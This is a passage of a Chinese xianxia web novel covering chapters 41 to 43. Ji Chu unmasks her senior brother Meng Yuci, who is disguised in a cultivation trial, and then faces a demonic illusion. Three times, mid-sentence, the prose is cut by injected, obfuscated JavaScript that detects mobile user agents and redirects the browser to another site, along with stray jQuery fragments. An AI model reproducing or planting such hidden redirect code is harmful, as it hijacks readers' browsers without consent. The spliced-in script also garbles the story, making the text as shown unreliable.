“所以第二天的时候,就开始有人动手了。将魆推进鬼爪中,自己便可以脱离阵法离开。” 蒋成旭看向纪楚: “当时,陈梧也在这里。” 纪楚一愣:“那他……” “他是被人淘汰的。” 蒋成旭点头: “这儿的阴气太重,他一直打喷嚏,目标太大,被好几个人围攻——但就在他被淘汰之后,事情忽然有了变数……” 他皱眉:“不知从哪冒出来个修为极高的人,竟然二话不说,直接将动手那人的玉书牌捏碎了!” “连着好几个修士,都折在那人手下,我因为没有动手,侥幸被他放过。” “什么情况?” 许盈越听越觉得听不懂了: “你不是说,要想逃脱阵法攻击和玉书牌自爆,得把其他修士推进阵法里才行吗?直接捏碎玉书牌,他图什么啊?” 蒋成旭:“所以我猜测,这个人的目的,并不是要逃脱阵法攻击,他只是要把我们淘汰。” 许盈开始头晕: “这是什么新的战术吗?类似于淘汰别人自己就赢了……可是我们是被万象天罗盘随机分配的小世界,大家一起计分排名的话,只淘汰别人、不去增加自己的分数,这不是白干吗?” “或许他并不在乎排名……” 蒋成旭显然也不太明白为什么,只道: “总之,你们现在还是人,就是安全的。” 他这么说本是为了安抚两人,但许盈的声音却干巴起来: “那个……我刚刚看了一眼我的玉书牌,可能……我也不是人了。” 蒋成旭:“!” 他急忙看向许盈手里的玉书牌,果不其然在上面看见了和自己如出一辙的描述。 许盈有些懊恼,还有点不太确定: “可能是杀鬼的时候,我看见了点不好的东西,就没控制住……” 两人于是一起愁眉苦脸起来。 半天没说话的纪楚忽然开口: “如果能找到地煞锁魂阵的压阵宝物,是不是就可以阻止这一切?” 蒋成旭和许盈一起看向她,纪楚继续说: “你们说,赵府丢失的传家宝,不会就是压阵宝物吧?” * 三人最后在树上坐了一夜,天亮的时候,许盈和蒋成旭挤在一起等待命运的审判。 幸运的是,两人的玉书牌都没有自爆。 他们又得了一整个白天的缓冲时间。 发现任务可能还是“找到赵府传家宝”后,许盈反而振奋起来: “我就知道我和纪楚不可能是混子!原来我们一开始就拿了主线任务!” 他们离开槐园,一起将“赵玉琳”的屋子翻了个底朝天,却依然没有找到传家宝的踪迹。 正沮丧时,蒋成旭忽然想到一件事: “传家宝丢失后,赵老爷还查过赵玉琳,虽然没有找到东西吧……不过我听丫鬟说,赵玉琳一直觉得府中闹鬼和传家宝有关,她吃斋念佛也有这个原因。” “如果赵玉琳忍不住动手的话,齐文轩这个经常出入赵府书房的人,就一定是她首选的帮凶!” 许盈托着下巴认真分析,随后无奈摊手: “但是我这边真的什么都没有啊!” 纪楚也有点愁。 许盈和蒋成旭都变成了魆,随时都有被淘汰的风险,而她也不知道自己这个“人”的身份还能坚持多久。 地煞锁魂阵每晚清算一次,他们根本没有那么多时间可以耗下去。 忽然,她想起了“杨念之”说了一半的话。 不知怎的,她总有种预感,“杨念之”知道的一定比他们多,如果她问的话,他应该不会瞒她。 这份信任来的莫名其妙,果然被蒋成旭否决了。 “不行。” 蒋成旭坚决不同意: “他身份未明态度古怪,昨夜更是忽然消失,万一害你怎么办?” 他的担心不无道理,纪楚也知道自己这莫名的信任立不住脚,于是道: “那我就先试试他。” * 孟喻辞将几个动手的弟子淘汰后,发现纪楚已经不在赵府,于是独自返回。 刚一推开院门,就看见纪楚端坐在石桌前,像是等了他许久。 “阿兄,你怎么才回来啊?” 她跟他打招呼,语气亲昵自然,透着不怀好意: “是去捉妖了吗?” 孟喻辞看她一眼,淡定回道:“嗯。” 纪楚笑着凑上来,好姐妹一般挽住他胳膊: “那阿兄得了多少分,我能看看阿兄的玉书牌吗?” 温热柔软的一团靠过来,孟喻辞神色微滞,下意识想将她的手甩开,却不知怎的没有动作,任由着她藤萝一样攀在自己小臂上。 “杨念之”身高腿长,纪楚靠得太近,便只能仰着头看他,属于杨思思的脸上露出纪楚独有的狡黠和可爱,让人很难拒绝她的要求。 但孟喻辞没有玉书牌,自然不能允诺,只道: “分数是个人隐私。” 说罢,抬手将纪楚的胳膊推了下去,兀自朝屋子走去。 纪楚皱眉,很快又跟了上去,赶在“杨念之”关门前挤进了屋子: “阿兄这是在防备我吗?若是不能看分数,只看一眼玉书牌可好?” 她绕到他身前,拿出自己的玉书牌倒扣在手心,假装要翻过来给他看,边“强买强卖”道: “现在是白天,我给你看我的,你也要给我看你的。” 玉书牌白日无字,无论面前这个修士的身份是“人”还是“魆”,都无法从玉书牌上窥见。 但“杨念之”却下意识避开视线,仍道:“不可。” 纪楚顿时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209556|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑惑: 他怎么好像并不知道,玉书牌白日无字的情况啊? 难道是和许盈还有自己一样,从未想过查看玉书牌吗? 孟喻辞此刻也已经意识到她在试探自己,更加不想同她纠缠,抬手想将她推出去。 谁料纪楚是个虎的,丝毫不懂得“点到即止”、“当心打草惊蛇”的道理,他不肯拿出玉书牌,她竟打算直接上手抢。 孟喻辞的手刚落到她肩膀上,还未用力,便见纪楚如同那滑不溜手的泥鳅一样从他臂弯中钻了出去,转了个身,回头便想伸手摸他身上有没有玉书牌。 孟喻辞岂能叫她得逞,轻松握住她手腕,冷冷道: “出去。” 他越是遮遮掩掩,纪楚就越发觉得不对劲。 若说原本她只是想试探一番,如今便是有了七分怀疑,定要看到他的身份不可。 于是她空着的一只手并指成剑,裹挟着灵力朝“杨念之”抓着她的手腕砍去。 孟喻辞不欲伤她,更不想动手时暴露身份,故而只略微松了力度避开这道剑气,一边推开房门。 然而门只开了寸余,便被纪楚“砰”的一声踢上。 她担心“杨念之”开门想要逃跑,果断将后路封死。 屋外的亮光只在门缝中闪了一瞬便再度被遮挡严实。 因着“杨念之”体弱畏冷,这个屋子还单独以窗纸糊了一层保暖的隔层。 此刻门窗紧闭,屋内光线昏暗,暖色的窗纸映出柔和的暗光。 半明半暗间,纪楚一手以剑抵住孟喻辞的脖子,将他仰面按倒在床上,另一手毫不客气地在他前襟处翻找。 五指纤纤,在他身上乱摸乱按,浑然没有男女大防的意识…… 眼看她到处找不到玉书牌,又要往更下更深处探去。 孟喻辞眉头一跳,忽然抬手,重重捏住她手腕。 他力气用的很大,纪楚挣脱不开,只觉骨头都被其扼住。 抬头,对上一双冷而寒的漆黑双眸,其中暗含警告,令人不寒而栗。 她本能觉得危险,剑刃下意识朝下压去,却又被床上躺着的人仅以两指轻易夹住,始终无法再进半分。 纪楚暗中用力,长剑却纹丝不动,竟也拔不出来! 她额头冒出冷汗。 这人修为明显高她许多,先前恐怕是以退为进,叫她放松了警惕,如今才算是真正撕破脸,只怕是要对她下手…… 纪楚此刻左手被抓,右手连同长剑一道被人制住,俯身跪坐在孟喻辞上方,看似掌握先机,实则已优势全无,随时都有被下面的人反杀的危险。 拽剑的成功率太低,况且她也没有把握能比身下这人剑法更好…… 这么想着,纪楚心一横,低头对着孟喻辞的手指重重咬下—— 尖牙刺破皮肉,铁锈味顿时涌入口腔。 被她压在床上的人没想到她会来这么一招,全无防备间,只觉一温热柔软之物包裹住他的拇指指根,细嫩如贝壳般的牙尖划过皮肤,带来陌生的潮湿和痒意,似幼兽在挑选下齿的方位和力度。 孟喻辞目光错愕,随即便感受到一股钝痛自那温热潮湿处传来。 而始作俑者毫无剑修冷硬自矜之风,竟使出“打不过就咬人”这一无赖招式,咬得认真且恶狠狠。 ——偏偏还起了效果! 不知这人是否被她咬疼了,竟真的松开了钳制着她的手。 长剑一颤,再度恢复自由。 纪楚心中大喜,正待反击之时—— 忽然被人掐住了下半张脸。 下颌被人捏住,食指中指和拇指轻轻一用力,她的上下牙便被这股力量别开,顿时再难咬合,只能松松叼着对方的手腕,抬着眼朝他看去。 一道熟悉的声音自头顶传来,低沉清冷如寒玉相击,冷声质问她: “剑在手中却只会咬人?” “谁教你的?” 41. 第 41 章 “谁教你的?” 听见这熟悉的语气,纪楚顿时睁大了眼睛,颇有些不可思议地瞅着他。 “师兄?” 她咬着他的手说话,口齿不清。 随着她叫出的这两个字,被她压住的人缓缓褪去“杨念之”的伪装,露出原本那副精致清冷的容貌。 五官俊逸出尘,瞳色墨如点漆,乌发如流水般散落于床铺之上,衬得他肤色冷白似玉,高不可攀。 孟喻辞神色平静: “松口。” 纪楚被他眨眼间恢复如初的高冷气度所慑,全然没了对着“杨念之”那张脸时的张狂自如,“咔哒”一下松开了牙。 孟喻辞从她嘴里抽回自己的手,另一手仍掐着纪楚的脸没有松开,目光落到指根处的伤口,一小排牙印正在缓缓渗血,还有些许水光晕染周围,清晰可见。 他抬眸,看向纪楚。 纪楚的目光也随之看向自己的“杰作”。 她心中一虚,顶着面前人没什么温度的目光,缓缓抿住嘴,假装自己是个没牙老太太。 她心里那一点的侥幸消失无踪:这个人,这种眼神,这种不怒自威让人一见就想臣服的气质,绝对是她的师兄孟喻辞无疑。 刨除掉前两天那些没大没小的相处模式,刨除掉折腾师兄给她做饭然后又鸽了师兄,再刨除掉当着师兄的面砍他院子里的树…… 在已经刨除掉这么多黑历史的前提下,今天的她竟然还对着师兄的胸膛又摸又按! 甚至此刻她就跪坐在师兄身上,刚像狗一样咬了师兄一口,伤口还见了血…… 苍天啊——! 纪楚脑子里飘过一行写着“以下犯上倒反天罡无法无天有辱斯文败坏剑修名声”的字幕。 她深吸一口气,果断道歉: “师兄我错了,我真的不知道是你!” 孟喻辞扬眉,掐着她的脸朝上抬了抬,使她不得不直视他微微上挑的俊逸眉眼,语气淡淡反问道: “是别人,就能又咬又摸了?” “是谁都不能!” 纪楚下巴被他抬起来,只得仰着脸与师兄对视,摆出学习剑法时的郑重神情: “身为一个剑修,怎么可以弃剑用牙呢?我当勉力用剑破局!” “哦?” 孟喻辞眯起眼睛,分明仰躺着被压在床上,姿态神情却如同平素教她练剑时那样淡然: “你倒说说,如何用剑破局?” 纪楚:“……” 她俯身趴在师兄胸前,脸被师兄掐着逃脱不开,只能以这样一个别扭的姿势疯狂思考: “我可以将灵力灌进剑刃,用剑气把师兄的挟制震开!” 孟喻辞:“试试。” 纪楚一脸的:“啊?现在吗?” 孟喻辞松开捏着她脸的手,以方才的姿势扣住剑刃,示意她动手。 看师兄神色不是开玩笑,纪楚于是卯足力气催动灵力注入手中长剑。 剑刃因她的灵力产生亮光,照亮了床铺范围,剑身则因为两人的力量抗衡而在他们中间隐隐震颤。 纪楚手腕用力,试图从师兄指间拽出自己的剑—— 失败了,长剑依然被孟喻辞牢牢按着,纹丝不动。 他目光平静,像是对这一结果早有预料。 “继续。” 孟喻辞道。 这一幕像极了他在宗门教纪楚练剑时的场景。 纪楚因而很快便忘了自己现在还在小世界里,只循着以往与师兄对练的本能,调动全身力气去抢自己的剑。 孟喻辞一动不动,神色平静地望着她,甚至握着她手腕的右手还在给她做发力的支撑点。 ——然而纪楚这次还是没能成功。 时间一分一秒过去,她保持着拔剑的动作,咬紧牙关,却始终被架在原地动弹不得。 心下越发着急,灵力便被她用成了蛮力,孟喻辞只稍稍一推,她只觉灵力反冲而来,握剑的右手顿时脱力滑出。 纪楚一下子失去平衡,直直朝着师兄身上扑了过去。 她原本就只是跪坐在床上,此刻除了师兄握着她的手,根本没有其他的着力点。 两人中间尚且横亘着她的长剑,她这么一摔,杨思思的身体必然当然死亡! 这简直是全世界最冤枉的淘汰方式! 纪楚又惊又气。 千钧一发之际,孟喻辞握着她手腕的手忽然发力,借着她脱力歪倒的方向翻身而起,一边将她笼罩在自己身下,一边单手将长剑掷出。 剑刃擦着她的鼻尖而过,笔直地钉进床头,仍在嗡鸣震颤不休,木质的床头顿时出现了裂痕。 纪楚后背贴上床铺的同时,眼前的光被垂下的发丝悉数挡住。 冰凉的乌发顺着她的脸颊和脖颈滑落,又在她耳边铺开一道墨色的水流,几乎是将她整个人都笼罩在他的范围内,以至于她的呼吸间全是师兄身上清冷的香。 纪楚咽了口口水,睁大眼睛看着伏在她身上的人。 师兄俊美到近乎艳丽的眉眼离她格外近,在昏暗的光下显出几分莫测和诡谲,下颌流畅的线条也被晕染出一片阴影,居高临下望着她时,压迫感十足。 这个角度看着师兄时,他身上那种冷而锐利的气息便如同窗外逐渐漫上的夕阳,一点点侵蚀进她的每一寸肌肤,剥开皮肉,压进骨骼。 而夕阳过后,便是无尽的暗色,夜幕低垂,俯瞰大地。 纪楚连呼吸都不敢太大幅度。 孟喻辞一手扣住她手腕,一手撑在她腰侧,一言不发地瞧着她。 甚至透过伪装,看见了她真正的模样。 看她因为紧张而忍不住颤抖的长睫,如蝴蝶振翅,脆弱到让人想要亲手折毁。 虽然勉力装作镇定,但害怕的情绪仍从双眼中逸散出来。 因着这份害怕,她后颈处的空羽浮花也开始悄然绽放,随时准备护住她。 而她毫不知情,声音如小兽低吼,试探中是藏不住的畏惧和颤抖,自以为能骗过猛禽,实则在真正的杀神眼中,这一丝呜咽般的声响,也不过是激起对方心里的嗜血本能罢了…… “师兄……” 纪楚为这一完全丧失主动权的姿态而本能恐惧。 她看着师兄面无表情的审视姿态,心口处再度传来痛感。 师兄会杀她…… 师兄会杀她,吗…… 她睁大眼睛,仿佛在赌前世今生的命运降临,不自觉间,连眼眶都有些濡湿。 孟喻辞将她的神情尽收眼底。 他抬起落在她腰侧的那只手,长指在她眼上悬空几寸的地方停顿片刻,最终只轻轻触碰她的头发,然后以一种安抚的姿态顺着她的发丝移到后颈,精准无误地按住空羽浮花所在的位置。 有熟悉的气息顺着指腹传到他这里,是他的力量。 纪楚茫然惊惶间,感受到师兄骨节分明的手落在她后颈,指腹微凉,轻轻摩挲着那一小片凸起,仿佛有什么东西在指腹下跳动,却又被按住。 随后修长的手指微微用力,她就被师兄托着后颈扶着坐了起来。 见她坐稳后,孟喻辞收回手,起身立于她身前: “摔疼了吗?” 纪楚仍有些怔怔的,摇头。 师兄的气息随着他的起身骤然远离,纪楚放松之余,却又感受到一丝茫然和空虚。 她无意间转头,看见那深插在床头的长剑,入木三分,几乎穿透墙壁,足可见掷剑之人力道之足。 师兄救了她…… 不知怎的,她反而有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214693|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想哭。 孟喻辞原是见她害怕自己,这才主动拉开距离,谁知这小师妹非但没有开心起来,反而眼皮一耷拉,眨眼就盈了满眼泪花。 他忍不住问: “哭什么?” 纪楚摇头,由着一滴泪“吧嗒”一声砸在袖子上: “我没握紧剑……剑修怎么可以松开自己的剑……” 孟喻辞:“……” 挺好的,已经会反思了。 人都已经哭了,他总不好再继续抓住这一点骂她。 于是他说: “作为剑修,你方才的反应确实糟糕……” 然而他才只刚起了个头,就听见纪楚那里传来一声极大的抽泣声,紧接着她将头低得更低,眼泪不要钱似的吧嗒吧嗒往下掉,委屈的像一只毛被打湿的小猫,连耳朵都垂下了。 孟喻辞:“……” 他顿了顿,改口,语气仍有些冷硬: “但这并非全然是你之过……” 纪楚又抽泣一声,动静更大,整个人缩成小小的一团,皱巴巴堆在床边上。 孟喻辞微不可查地叹了口气,彻底放弃教训她的念头,软了语气道: “你已尽力而为,是我下手太重,险些害你受伤……别哭了。” 有只手落在纪楚头上,揉了揉她的脑袋。 纪楚抬头,面前伸出一只修长如玉的手,掌心托着个红彤彤的盘盘果。 师兄的神情也跟着柔和下来,轻声哄她: “吃吗?” “吃。” 纪楚将果子接过来,小口小口地啃。 孟喻辞暗中松了一口气。 见纪楚的情绪稳定下来,他这才放缓语调,语重心长道: “你日后还会遇到更多修为比你高的人,若只想着靠蛮力解决,今日的危机未必不会再现。” “剑刃有形,而剑意无形,拘于有形之物,只会画地自限。” 剑意无形? 听见他的话,纪楚若有所思,连手上的盘盘果也忘了啃。 孟喻辞见她听进去了,心中满意。 以纪楚的悟性,只需稍加提点,很快便能悟出独属于她的剑意。 他的目光复又落到一旁的剑上。 这剑到底太过普通,方才若他再多用半分力气,只怕就会折断。 若是在与强敌对战时断了剑,危险自不必说,更会伤她道心。 他是得尽快为她寻把剑了…… 收回思绪,见纪楚又开始慢吞吞地啃盘盘果,知道她是记住了,但还没能完全领悟,于是孟喻辞又安慰了一句: “不必心急,多练多悟,迟早会破此局。” 纪楚点点头,两口将盘盘果吞下去,一脸乖巧: “我知道了,谢谢师兄。” 孟喻辞于是又摸了摸她的头。 * “杨念之”是师兄。 师兄没有参加问仙大会,自然也没有玉书牌,之所以进入这个小世界,是为了解决一些麻烦。 “解决麻烦……” 听见师兄的解释后,纪楚用食指和拇指搓了搓下巴,一边自言自语一边点点头。 忽然,她猛地想到了什么,松开托着下巴的手,瞪大眼睛看向孟喻辞: “师兄说的麻烦,不会是我们吧?” 孟喻辞没有说话,她心里的怀疑顿时坐实了几分: “那蒋成旭见到的,第二天淘汰那些弟子的人,不会就是师兄你吧?!” 孟喻辞淡淡看向她,不必多言。 纪楚倒吸一口凉气,捂着自己的玉书牌倒退几步,像是看见了什么洪水猛兽一样转头就跑。 孟喻辞长臂一伸,揪住她衣领,语气略有不快: “你跑什么?” 42. 第 42 章 废话!不跑等着被师兄你淘汰吗? 纪楚心想。 但是这话她倒没敢直接说出来,只委婉道: “师兄,这可是问仙大会,我还是想赢的。” 孟喻辞平静道: “你赢不了。” 纪楚满脑子热血上涌:“……” 又来了! 又来了! 上次焚巫祭神图他就这样! 他凭什么说她赢不了! 纪楚越想越气,勃然大怒道: “你没眼光!你是我师兄,怎么能长他人志气,灭我的威风!” 分明比试开始前,他和师尊还在鼓励她,这会儿就改口了。 难道是觉得她修为太低打不过别人吗? “我不要和你说了!” 纪楚“哼”了一声,一把从床头拔出自己的剑,怒气冲冲地踢开了门冲了出去。 留下孟喻辞无语轻叹。 刚到院子里,纪楚脸上夸张的愤怒神色瞬间消失不见。 她做贼般回头看了一眼,见无人追出来,这才松了一口气。 小心翼翼拿出自己的玉书牌看了看,上面依然是“人”的身份,于是彻底放下心来。 幸好她机智,借着生气的理由跑了出来。 不然和师兄这种随时会捏碎玉书牌的“刽子手”待在一起,实在是太危险了。 纪楚腹诽着,一边不自觉地摸了摸自己的腰。 然后她猛然发现,自己一直挂在腰上的,装了棋子的荷包不见了! 她歪着头,仔细回忆自己的行程,确定没有把荷包放在任何地方。 难道是被人顺走了? 纪楚锤了锤头,脑海里浮现出薛羡尘抱住她的一幕。 总不会是…… 她皱眉,心生猜测的同时,不免又想到师兄。 师兄的话倒是提醒了她。 前世薛羡尘得了前三,顺利见到神骨,引出后面一连串的事情。 虽然这一次胜利者不能拜见神骨了,但倘若前世今生走向相同,或许薛羡尘然会赢。 未免夜长梦多,不如直接将这个魔头淘汰。 纪楚点了点头,觉得自己这个主意十分完美。 外面已经漆黑一片,又是一个夜晚。 在知道魆的真相后,每一个夜晚都是修士自相残杀的斗兽场,她再也无法安心地在夜幕下行走,只想加快速度,早点解决地煞锁魂阵。 许盈在赵府等她。 “怎么样怎么样?问出传家宝的消息了吗?” 许盈很是关切。 “没有。” 纪楚摇头。 许盈担忧: “为什么?是他动手攻击你了?还是他也是魆,不肯告诉你?” “都不是。” 纪楚依然摇头,理直气壮道: “是我忘了问了。” 许盈:“……” 纪楚继续说: “他不是魆,但比魆可怕多了!他是刽子手,我们一定要离他远点!” 许盈一头雾水:“刽子手?” 她不知联想到了什么,恍然大悟: “他是刀修?” 纪楚:“……” 她打断许盈的胡思乱想: “这都不重要,我现在有个新的想法。” “我后来想了想,要找到一样东西,总得先知道这东西长什么样吧?” 许盈:“你是说……” 纪楚点头: “我们像无头苍蝇一样到处打听到处找,可谁也不知道那宝物长什么样子。若是这东西真的和地煞锁魂阵的压阵之宝有关,不如下去看看呢?” “那可真是巧了!” 许盈听罢两手一合,发出一声清脆的击掌声: “蒋成旭和你的想法一样,天还没黑的时候,他就先去槐园踩点了。” “他一个人吗?” 纪楚不免担心: “可是他是魆,万一被人盯上怎么办?” 许盈:“他能有什么事啊,我们现在过去就好了。” 实际上她知道蒋成旭在担心什么。 他们两个都已经变成了魆,随时都有被淘汰的可能。 活一夜就少一夜了,时间紧迫,纪楚一个人行动必然危险,他们必须在没被淘汰之前多做点贡献。 或许在别人看来,问仙大会输了便输了,最多就是丢人和拿不到奖励,其实也没什么。 但他们作为朋友,自然能看出纪楚对问仙大会的在意。 纪楚不想输。 那她和蒋成旭还有什么理由拖后腿呢? 许盈越想越觉得激动,独自在颅内激情澎湃一番后,忍不住拍拍纪楚的肩膀,震声道: “全村的希望!” 纪楚:“?” 她看着许盈脸上格外激动的表情,一时有些摸不着头脑,只好说: “那我们……现在过去?” 许盈像是打了鸡血,亢奋道:“嗯!” 神情激动地像是准备上战场。 纪楚担忧地看着许盈,害怕她是淘汰压力太大,所以疯了。 于是她边走边说: “其实我想到了一个保命的办法,要是你今晚不想赌运气,我们可以直接试试……” “真的吗?” 听见她这么说,许盈先是激动,但还不等她细问“什么底牌”,就忽然发现了不对劲。 两人已走到槐园,但入目所及并无蒋成旭的身影。 槐园中安安静静,只槐树附近一个光点闪烁,是阵法开启后的余光。 只只鬼爪呈狰狞状攀在地面,指节弯曲,血痕爆出,尖端死死扣在地面,像是追杀未果后的扼腕,已然是死得透透了。 这场景实在有点可怖。 纪楚和许盈心下一沉,快步朝前跑去。 在那造型最为狰狞鬼爪的上方,一道浓黑雾气格外刺目,宛如利刃,将鬼爪死死钉在地面。 魔气! “这里竟然有魔?!” 许盈一下子着急起来:“那蒋成旭——” “你别急,这儿没有血迹,他应该没事。” 纪楚安抚道。 说罢她蹲在鬼爪旁边,忍着恶心打量上面的魔气痕迹。 魔气很强,能将他们三人加起来都甩不掉的鬼爪一击毙命,动手者一定不是普通的魔物。 巧的是,她还真知道一个魔。 许盈也知道着急无用,绕着阵法光点转了几圈,忽然弯下身子,捡起了个碎了一半的坠子。 “这是灵均剑的剑痕!” 灵均是蒋成旭的佩剑。 不等纪楚询问,许盈便愤愤道: “我不会认错他的剑!你看这里,灵均比寻常剑要宽的多重的多,剑刃未至,重压先行,所以这剩下的半个坠子上面全是被压碎的裂痕和缺口!” 纪楚接过坠子,确如许盈所言。 她将坠子翻过来,看到了个碎成一半的“薛”字。 “许盈,你还记得我说的保命办法吗?” 她看向许盈,幽幽道: “天凉了,该让薛羡尘滚蛋了。” * 蒋成旭没想到自己会直接撞上一个魔。 这魔物显然是冲着地煞锁魂阵来的,若是下面当真有什么东西,绝对不能落到魔物的手里。 幸好在场还有一个修士,他于是和对方合作,趁着阵法开启的功夫,跟在那魔头后面一起跳了进来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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漆黑,阴森,夹杂着极为强烈的邪气。 黑暗中仿佛蛰伏着什么巨大的怪物,可以窥探出她内心的暗面。 察觉到被邪物窥探的同时,纪楚明知道此刻应该静心守气,勉力抵挡,但总是忍不住去想: 她此刻最恶毒最见不得光的想法会是什么呢? 是一剑劈了薛羡尘这个魔头,还是冲回宗门怒打沈恪一巴掌并且大骂“你xx”,总不会是用卑劣的手段淘汰其他弟子然后捧着第一名的奖品哈哈大笑吧? 纪楚越想越猜不出答案。 于是她停止胡思乱想,等着邪物给她揭露答案。 可谁知,那些在她看来应当是极为黑暗的念头竟一个也没有出现。 眼前之物抽枝发芽,香气盈盈,竟然还是师兄院子里的桃树! “……” 纪楚觉得自己可能有什么大病。 难道她其实就是这样一个小肚鸡肠、斤斤计较、主次不分的人吗? 大敌当前,重活一世,她却满脑子都是被桃枝暴揍的仇。 又或者……真相其实是她记恨师兄,但是怂到做梦都不敢梦个大的,只敢砍个树小小报复一下? 这也太窝囊了吧! 面前的桃树花枝招展,每一朵花苞都仿佛是在冲她喊着: “你不恨我吗?快来砍我啊!” 纪楚却只顾托着下巴,陷入了对自己深深的怀疑,丝毫没有拔剑的打算。 43. 第 43 章 桃树在纪楚面前舞了一段时间,发现她一点反应都没有,渐渐也舞不动了。 躲在暗处的邪物头一次怀疑自己窥探人心的水平。 见纪楚始终不上钩,甚至她看着桃树的眼神已经逐渐变成了死鱼眼,显然是早就神游到了天外,任凭它怎么表演都是无用。 邪物不免心生怒意,邪气上涌,呼吸粗重几分,带动阵法中阴气流窜。 就在此时,一直跑神的纪楚忽然转头,双眸明亮似星,直勾勾盯着黑暗深处邪气传来的方向。 “找到你了。” 她低语,召出长剑,猛地朝前方划出一道剑光,连同这棵桃树一齐被劈成了两半。 她这一剑并非泄愤,更无恐惧惊惶之意,灵力纯粹干净,劈开幻象后并未停止,而是径直朝着更深处掠去,将始终蒙在阵法中的雾气劈开一个口子。 灵力破开雾气,面前出现一条斜向下的小路。 路面潮湿带水汽,形状不规则,仿佛有什么软而湿的东西从地面上贴着划过。 纪楚压下嫌弃的表情,迈步而上,踩到一地粘腻的液状物体。 越朝下走去,越感觉到沉闷的呼吸从四面八方传来,如同沉重的风起伏而来,连带着两旁的墙壁都仿佛在震动。 而地上粘腻的东西也变得越来越多,踩在上面像是一脚踩进了沼泽地,抬腿时都能感受到明显的阻力。 虽然恶心,但是也说明,她确实离那个邪物越来越近了。 纪楚握紧了手中剑,迈步越发谨慎。 然而没走几步,她就感觉到一股极为强烈的阴邪之气涌了过来,像是要阻拦她的脚步。 视线再度被雾气遮挡,鬼哭狼嚎嘶哑嘲哳一声叠着一声,夹杂着无数自远到近飘来的呢喃,几乎像是附在她耳边说话。 戚戚鬼声难以形成连贯的字句,但其间蕴含着让人无法忽视的怨气和恶念,轻易勾起人的情绪,听得纪楚心中烦躁不已。 那种想砍点什么来发泄的冲动再度浮现。 好烦…… 好吵…… 她停下步子,握剑的手隐隐颤抖,极力同心中的烦躁对抗。 地上的粘稠的液体逐渐变得多而深,几乎将她小腿淹没,像是要趁机将她彻底扯下无底的深渊。 纪楚皱眉,心里浮上几分戾气。 只一时犹豫,被她劈开的幻象就抓住机会再度浮现,面前的桃树晃荡几下后扭曲成人形。 先是变成沈恪,得知她经脉受损不能修行那天,冷漠地扔下一句:“我早知晓她的伤势,如此甚好,可彻底磨平她的野心。” 随后变成薛羡尘,当着她的面杀死许盈和蒋成旭后,冲她邪邪一笑:“一个替身,还想保护别人?真是可笑。” 之后场景再换,竟成了她年幼时牵着父母的手,妖兽突袭,生死相隔…… …… 纪楚的表情不像一开始那么淡定,控制不住的怒意从她心里蔓延开来,长剑随着她的手腕颤抖。 这些始终埋藏在她心底的旧事被一件件翻出来,密集地攻击着她的理智,试图挑起她的愤怒。 她周身的灵力开始躁动。 “杀了他们。” 脑海中响起一道声音,是她自己的。 “杀了他们,毁了修真界!纵使成魔又如何?是他们对不起你!是修真界识人不清,放纵他们玩弄欺骗你!” 却又不像她的语气。 纪楚隐隐感到困惑。 她自认不是干脆果决之人,也没有宁可我负天下,不可天下人负我的霸气,纵使再恨沈恪和薛羡尘,但是这份恨意,能支撑着她毁了修真界吗? 这真的是她的情感吗? 像是察觉到她的动摇,玉书牌缓缓亮起光芒。 刻着“人”字的地方逐渐变得朦胧混沌,一个浅浅的“魆”字如艳红的诅咒沉在这片朦胧的字迹下面,似乎随时都能漂浮上来,彻底落成。 纪楚被这光照到眼睛,低头看向手里的玉书牌。 在见到那产生变化的字迹时,她第一反应就是慌乱,随即生出了几分等候审判的无助。 难道她生出恶念了吗? 她已经……不算是人了吗? 耳边不停喊着“杀人成魔”的声音使她无法静静思考。 她厌烦至极,连带着看见手里的玉书牌也开始扎眼。 凭什么? 故意用幻象将她惹怒,却又来审判她的错误! 她还什么都没干呢,凭什么就得等着审判! 宗门为什么要用这种东西来判定胜负! 她咬着牙,抬手想要将玉书牌直接砸了。 然而这念头刚一冒出来,她耳边那些嗡鸣不止的鬼声便成了尖锐的嘲笑: “嘻嘻嘻……自欺欺人真是好笑,你已生恶念,连宗门的法宝都做了论断,竟然还不敢面对吗?” 纪楚捏着玉书牌的五指逐渐捏紧,到底没能直接砸出去,指腹被玉书牌边缘硌得生疼。 她于是又想着干脆将玉书牌收起来,若是结果不能更改,难道还不许她逃避、眼不见心不烦吗。 虽然这么想着,可那一团糊成一团的字就像是有什么魔力似的,始终吸引着她的目光。 因此她仍捏着玉书牌,视线不受控制般锁在那个若隐若现的“人”字上,几乎看得她眼前发晕。 只是她越是害怕自己变成“魆”,那个鲜红的“魆”字就越是和她对着干似的,加快了速度从底部浮上来,随时可以将“人”字彻底抹去。 纪楚的呼吸开始不稳当。 就在这时,一只骨节分明的手忽然从一旁伸出,牢牢握住了她的手腕。 纪楚这才惊觉,自己的手竟然抖如筛糠。 还没等她回过神来,握着玉书牌的手心随即一空——玉书牌被人拿走了。 